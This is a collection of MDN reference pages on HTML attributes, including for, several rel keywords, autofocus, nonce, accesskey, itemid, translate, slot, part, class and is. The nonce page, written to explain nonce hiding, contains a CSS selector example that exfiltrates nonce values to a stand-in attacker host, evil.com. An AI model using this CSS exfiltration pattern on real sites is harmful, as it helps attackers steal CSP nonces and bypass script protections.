recursal/MDN huggingface dataset:
HTML attribute: for
===================

The **`for`** attribute is an allowed attribute for `<label>` and `<output>`. When used on a `<label>` element it indicates the form element that this label describes. When used on an `<output>` element it allows for an explicit relationship between the elements that represent values which are used in the output.

Try it
------

Usage
-----

When used as an attribute of `<label>`, the `for` attribute has a value which is the `id` of the form element it relates to.


```html
<label for="username">Your name</label> <input type="text" id="username" />
```


When used as an attribute of `<output>`, the `for` attribute has a value which is a space separated list of the `id` values of the elements which are used to create the output.


```html
<input type="range" id="b" name="b" value="50" /> +
<input type="number" id="a" name="a" value="10" /> =
<output name="result" for="a b">60</output>
```

Examples
--------

See examples of usage on the element pages for `<label>` and `<output>`.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # attr-label-for |
| HTML Standard # attr-output-for |

Browser compatibility
---------------------

### html.elements.label.for

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### html.elements.output.for

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
rel=prerender
=============

**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.

**Non-standard:** This feature is non-standard and is not on a standards track. Do not use it on production sites facing the Web: it will not work for every user. There may also be large incompatibilities between implementations and the behavior may change in the future.

The **`prerender`** keyword for the `rel` attribute of the `<link>` element is a hint to browsers that the user might need the target resource for the next navigation, and therefore the browser can likely improve the user experience by preemptively fetching and processing the resource — for example, by fetching its subresources or performing some rendering in the background offscreen.

This feature is superceded by the Speculation Rules API.

Specifications
--------------

#### No specification found

No specification data found for `html.elements.link.rel.prerender`.  
Check for problems with this page or contribute a missing `spec_url` to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Speculative loading for a comparison of `<link rel="prerender">` and other similar performance improvement features.
rel=noopener
============

The **`noopener`** keyword for the `rel` attribute of the `<a>`, `<area>`, and `<form>` elements instructs the browser to navigate to the target resource without granting the new browsing context access to the document that opened it — by not setting the `Window.opener` property on the opened window (it returns `null`).

This is especially useful when opening untrusted links, in order to ensure they cannot tamper with the originating document via the `Window.opener` property (see About rel=noopener for more details), while still providing the `Referer` HTTP header (unless `noreferrer` is used as well).

Note that when `noopener` is used, nonempty target names other than `_top`, `_self`, and `_parent` are all treated like `_blank` in terms of deciding whether to open a new window/tab.

**Note:** Setting `target="_blank"` on `<a>` elements now implicitly provides the same `rel` behavior as setting `rel="noopener"` which does not set `window.opener`. See browser compatibility for support status.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # link-type-noopener |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
rel=noreferrer
==============

The **`noreferrer`** keyword for the `rel` attribute of the `<a>`, `<area>`, and `<form>` elements instructs the browser, when navigating to the target resource, to omit the `Referer` header and otherwise leak no referrer information — and additionally to behave as if the `noopener` keyword were also specified.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # link-type-noreferrer |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
rel=preconnect
==============

The **`preconnect`** keyword for the `rel` attribute of the `<link>` element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively initiating a connection to that origin. Preconnecting speeds up future loads from a given origin by preemptively performing part or all of the handshake (DNS+TCP for HTTP, and DNS+TCP+TLS for HTTPS origins).

`<link rel="preconnect">` will provide a benefit to any future cross-origin HTTP request, navigation or subresource. It has no benefit on same-origin requests because the connection is already open.

If a page needs to make connections to many third-party domains, preconnecting them all can be counterproductive. The `<link rel="preconnect">` hint is best used for only the most critical connections. For the others, just use `<link rel="dns-prefetch">` to save time on the first step — the DNS lookup.

Examples
--------


```html
<link rel="preconnect" href="https://example.com" />
```


You can also implement preconnect as an HTTP Link header, for example:


```http
Link: <https://example.com>; rel="preconnect"
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # link-type-preconnect |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Speculative loading for a comparison of `<link rel="preconnect">` and other similar performance improvement features.
rel=dns-prefetch
================

The **`dns-prefetch`** keyword for the `rel` attribute of the `<link>` element is a hint to browsers that the user is likely to need resources from the target resource's origin, and therefore the browser can likely improve the user experience by preemptively performing DNS resolution for that origin.

See Using dns-prefetch for more details.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # link-type-dns-prefetch |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* Speculative loading for a comparison of `<link rel="dns-prefetch">` and other similar performance improvement features.
rel=manifest
============

**Experimental:** **This is an experimental technology**  
Check the Browser compatibility table carefully before using this in production.

The **`manifest`** keyword for the `rel` attribute of the `<link>` element indicates that the target resource is a Web app manifest.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # link-type-manifest |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
rel=me
======

The **`me`** keyword for the `rel` attribute of the `<link>` and `<a>` elements indicates that the current resource is represented by the linked party. The `me` value was introduced in the XHTML Friends Network (XFN) specification.


```html
<link rel="me" value="example.com" />
```


The `rel="me"` attribute is used in RelMeAuth and Web sign in specifications as a way to enable a person to identify themselves to a web service using their domain name or a particular URL.

Specifications
--------------

#### No specification found

No specification data found for `html.elements.link.rel.me`.  
Check for problems with this page or contribute a missing `spec_url` to mdn/browser-compat-data. Also make sure the specification is included in w3c/browser-specs.

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
autofocus
=========

The **`autofocus`** global attribute is a Boolean attribute indicating that an element should be focused on page load, or when the `<dialog>` that it is part of is displayed.


```html
<input name="q" autofocus />
```


No more than one element in the document or dialog may have the autofocus attribute. If applied to multiple elements the first one will receive focus.

**Note:** The `autofocus` attribute applies to all elements, not just form controls. For example, it might be used on a contenteditable area.

Accessibility concerns
----------------------

Automatically focusing a form control can confuse visually-impaired people using screen-reading technology and people with cognitive impairments. When `autofocus` is assigned, screen-readers "teleport" their user to the form control without warning them beforehand.

Use careful consideration for accessibility when applying the `autofocus` attribute. Automatically focusing on a control can cause the page to scroll on load. The focus can also cause dynamic keyboards to display on some touch devices. While a screen reader will announce the label of the form control receiving focus, the screen reader will not announce anything before the label, and the sighted user on a small device will equally miss the context created by the preceding content.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # dom-fe-autofocus |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.
nonce
=====

 The **`nonce`** global attribute
 is a content attribute defining a cryptographic nonce ("number used once") which can be used by
 Content Security Policy to determine whether or not a given fetch will
 be allowed to proceed for a given element.

Description
-----------

 The `nonce` attribute is useful to allowlist specific elements, such as a particular inline script or style elements.
 It can help you to avoid using the CSP `unsafe-inline` directive, which would allowlist *all* inline scripts or styles.


**Note:** Only use `nonce` for cases where you have no way around using unsafe inline script
 or style contents. If you don't need `nonce`, don't use it. If your script is static, you could also use a CSP hash instead.
 (See usage notes on unsafe inline script.)
 Always try to take full advantage of CSP protections and avoid nonces or unsafe inline scripts whenever possible.


### Using nonce to allowlist a <script> element

There are a few steps involved to allowlist an inline script using the nonce mechanism:

#### Generating values

 From your web server, generate a random base64-encoded string of at least 128 bits of data from a cryptographically secure
 random number generator. Nonces should be generated differently each time the page loads (nonce only once!). For example, in nodejs:


```js
const crypto = require("crypto");
crypto.randomBytes(16).toString("base64");
// '8IBTHwOdqNKAWeKl7plt8g=='
```


#### Allowlisting inline script

The nonce generated on your backend code should now be used for the inline script that you'd like to allowlist:


```html
<script nonce="8IBTHwOdqNKAWeKl7plt8g==">
 // …
</script>
```


#### Sending a nonce with a CSP header

 Finally, you'll need to send the nonce value in a
 `Content-Security-Policy` header
 (prepend `nonce-`):


```http
Content-Security-Policy: script-src 'nonce-8IBTHwOdqNKAWeKl7plt8g=='
```

### Accessing nonces and nonce hiding

For security reasons, the `nonce` content attribute is hidden (an empty string will be returned).


```js
script.getAttribute("nonce"); // returns empty string
```


The `nonce` property is the only way to access nonces:


```js
script.nonce; // returns nonce value
```


 Nonce hiding helps prevent attackers from exfiltrating nonce data via mechanisms that can grab data
 from content attributes like this:


```css
script[nonce~="whatever"] {
  background: url("https://evil.com/nonce?whatever");
}
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # attr-nonce |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLElement.nonce`
* Content Security Policy
* CSP: `script-src`
accesskey
=========

The **`accesskey`** global attribute provides a hint for generating a keyboard shortcut for the current element. The attribute value must consist of a single printable character (which includes accented and other characters that can be generated by the keyboard).

Try it
------

**Note:** In the WHATWG spec, it says you can specify multiple space-separated characters, and the browser will use the first one it supports. However, this does not work in most browsers. IE/Edge uses the first one it supports without problems, provided there are no conflicts with other commands.

The way to activate the accesskey depends on the browser and its platform:

|  | Windows | Linux | Mac |
| --- | --- | --- | --- |
| Firefox | `Alt` + `Shift` + `*key*` | * Firefox 57+: `Control` + `Option` +
 `*key*` or `Control` + `Alt` +
 `*key*`
* Firefox 14-56: `Control` + `Alt` +
 `*key*`
* Firefox 13 or older: `Control` +
 `*key*`
 |
| Edge | `Alt` + `*key*` | `Control` + `Option` + `*key*`or `Control` + `Option` + `Shift` +
 `*key*` | n/a |
| Google Chrome | `Control` + `Option` + `*key*` |
| Safari | n/a | `Control` + `Option` + `*key*` |
| Opera 15+ | `Alt` + `*key*` | `Control` + `Alt` + `*key*` |
| Opera 12 | `Shift` + `Esc` opens a list of available accesskeys. Choose an item from the list by pressing
 the `*key*`.
  |

Accessibility concerns
----------------------

In addition to poor browser support, there are numerous concerns with the `accesskey` attribute:

* An `accesskey` value can conflict with a system or browser keyboard shortcut, or assistive technology functionality. What may work for one combination of operating system, assistive technology, and browser may not work with other combinations.
* Certain `accesskey` values may not be present on certain keyboards, especially when internationalization is a concern. So adapting to specific languages could cause further problems.
* `accesskey` values that rely on numbers may be confusing to individuals experiencing cognitive concerns, where the number doesn't have a logical association with the functionality it triggers.
* Informing the user that `accesskey`s are present, so that they are aware of the functionality. If the system lacks a method of notifying the user about this feature, the user might accidentally activate `accesskey`s.

Because of these issues, it is generally advised not to use `accesskey`s for most general-purpose websites and web apps.

* WebAIM: Keyboard Accessibility - Accesskey
Specifications
--------------

| Specification |
| --- |
| HTML Standard # the-accesskey-attribute |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `HTMLElement.accessKey`
* `HTMLElement.accessKeyLabel`
* All global attributes.
* `aria-keyshortcuts`
itemid
======

The **`itemid`** global attribute provides microdata in the form of a unique, global identifier of an item.

An `itemid` attribute can only be specified for an element that has both `itemscope` and `itemtype` attributes. Also, `itemid` can only be specified on elements that possess an `itemscope` attribute whose corresponding `itemtype` refers to or defines a vocabulary that supports global identifiers.

The exact meaning of an `itemtype`'s global identifier is provided by the definition of that identifier within the specified vocabulary. The vocabulary defines whether several items with the same global identifier can coexist and, if so, how items with the same identifier are handled.

**Note:** The WHATWG definition specifies that an `itemid` must be a URL. However, the following example correctly illustrates that a URN may also be used. This inconsistency may reflect the incomplete nature of the Microdata specification.

Examples
--------

### Representing structured data for a book

This example uses microdata attributes to represent the following structured data:

|  |  |  |
| --- | --- | --- |
| itemscope | itemtype: itemid | https://schema.org/Book: urn:isbn:0-374-22848-5 |
| itemprop | title | Owls of the Eastern Ice |
| itemprop | author | Jonathan C Slaght |
| itemprop | datePublished | 2020-08-04 |

#### HTML


```html
<dl
 itemscope
 itemtype="https://schema.org/Book"
 itemid="urn:isbn:0-374-22848-5<">
  <dt>Title</dt>
  <dd itemprop="title">Owls of the Eastern Ice</dd>
  <dt>Author</dt>
  <dd itemprop="author">Jonathan C Slaght</dd>
  <dt>Publication date</dt>
  <dd>
    <time itemprop="datePublished" datetime="2020-08-04">August 4 2020</time>
  </dd>
</dl>
```


#### Result

Specifications
--------------

| Specification |
| --- |
| HTML Standard # attr-itemid |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* All global attributes.
* Other microdata related global attributes:
    + `itemprop`
    + `itemref`
    + `itemscope`
    + `itemtype`
translate
=========

The **`translate`** global attribute is an enumerated attribute that is used to specify whether an element's *translatable attribute* values and its `Text` node children should be translated when the page is localized, or whether to leave them unchanged.

It can have the following values:

* empty string or `yes`, which indicates that the element should be translated when the page is localized.
* `no`, which indicates that the element must not be translated.

Although not all browsers recognize this attribute, it is respected by automatic translation systems such as Google Translate, and may also be respected by tools used by human translators. As such it's important that web authors use this attribute to mark content that should not be translated.

Examples
--------

In this example, the `translate` attribute is used to ask translation tools not to translate the company's brand name in the footer.


```html
<footer>
  <small>© 2020 <span translate="no">BrandName</span></small>
</footer>
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # attr-translate |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* All global attributes.
* The `HTMLElement.translate` property that reflects this attribute.
* Using HTML's translate attribute.
* HTML `lang` attribute
style
=====

The **`style`** global attribute contains CSS styling declarations to be applied to the element. Note that it is recommended for styles to be defined in a separate file or files. This attribute and the `<style>` element have mainly the purpose of allowing for quick styling, for example for testing purposes.

Try it
------

**Note:** This attribute must not be used to convey semantic information. Even if all styling is removed, a page should remain semantically correct. Typically it shouldn't be used to hide irrelevant information; this should be done using the `hidden` attribute.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # the-style-attribute |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

All global attributes.
slot
====

The **`slot`** global attribute assigns a slot in a shadow DOM shadow tree to an element: An element with a `slot` attribute is assigned to the slot created by the `<slot>` element whose `name` attribute's value matches that `slot` attribute's value.

For examples, see our Using templates and slots guide.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # attr-slot |
| DOM Standard # ref-for-dom-element-slot① |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* HTML global attributes
* HTML `<slot>` element
* HTML `<template>` element
* CSS `::slotted` pseudo-element
* CSS scoping module
* Web components
part
====

The **`part`** global attribute contains a space-separated list of the part names of the element. Part names allows CSS to select and style specific elements in a shadow tree via the `::part` pseudo-element.

See the `exportparts` attribute for a usage example.

Specifications
--------------

| Specification |
| --- |
| CSS Shadow Parts # part-attr |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* `exportparts` HTML attribute
* `<template>` and `<slot>` HTML elements
* `::part` and `::slotted` CSS pseudo-elements
* `ShadowRoot` interface
* `Element.part` property
* Using templates and slots
* CSS scoping module
class
=====

The **`class`** global attribute is a space-separated list of the case-sensitive classes of the element. Classes allow CSS and JavaScript to select and access specific elements via the class selectors or functions like the DOM method `document.getElementsByClassName`.

Try it
------

Though the specification doesn't put requirements on the name of classes, web developers are encouraged to use names that describe the semantic purpose of the element, rather than the presentation of the element. For example, *attribute* to describe an attribute rather than *italics*, although an element of this class may be presented by *italics*. Semantic names remain logical even if the presentation of the page changes.

Specifications
--------------

| Specification |
| --- |
| HTML Standard # global-attributes:classes-2 |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* All global attributes.
* `element.className`
* `element.classList`
* Introduction to CSS
is
==

The **`is`** global attribute allows you to specify that a standard HTML element should behave like a defined custom built-in element (see Using custom elements for more details).

This attribute can only be used if the specified custom element name has been successfully defined in the current document, and extends the element type it is being applied to.

Examples
--------

The following code is taken from our word-count-web-component example (see it live also).


```js
// Create a class for the element
class WordCount extends HTMLParagraphElement {
  constructor() {
    // Always call super first in constructor
    super();

    // Constructor contents omitted for brevity
    // …
  }
}

// Define the new element
customElements.define("word-count", WordCount, { extends: "p" });
```



```html
<p is="word-count"></p>
```

Specifications
--------------

| Specification |
| --- |
| HTML Standard # attr-is |

Browser compatibility
---------------------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

See also
--------

* All global attributes.